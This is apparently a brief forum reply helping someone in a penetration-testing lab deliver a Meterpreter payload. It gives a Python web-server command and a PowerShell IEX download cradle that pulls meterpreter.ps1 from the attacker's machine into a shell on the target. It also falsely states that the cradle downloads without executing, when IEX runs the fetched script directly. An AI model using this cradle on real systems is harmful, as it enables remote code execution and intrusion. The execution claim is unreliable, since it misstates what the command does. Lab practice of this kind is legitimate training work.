First you have to start a web server on your kali with <python -m SimpleHTTPServer 80> in order to be able to download it through the shell you already have.The “powershell IEX(New-Object Net.WebClient).downloadString(‘http://<ip_from_tun0>/meterpreter.ps1’)” command just downloads the file from the web server you host,it doesnt execute it.You will then have to execute the file after you download it with .Hope this helps 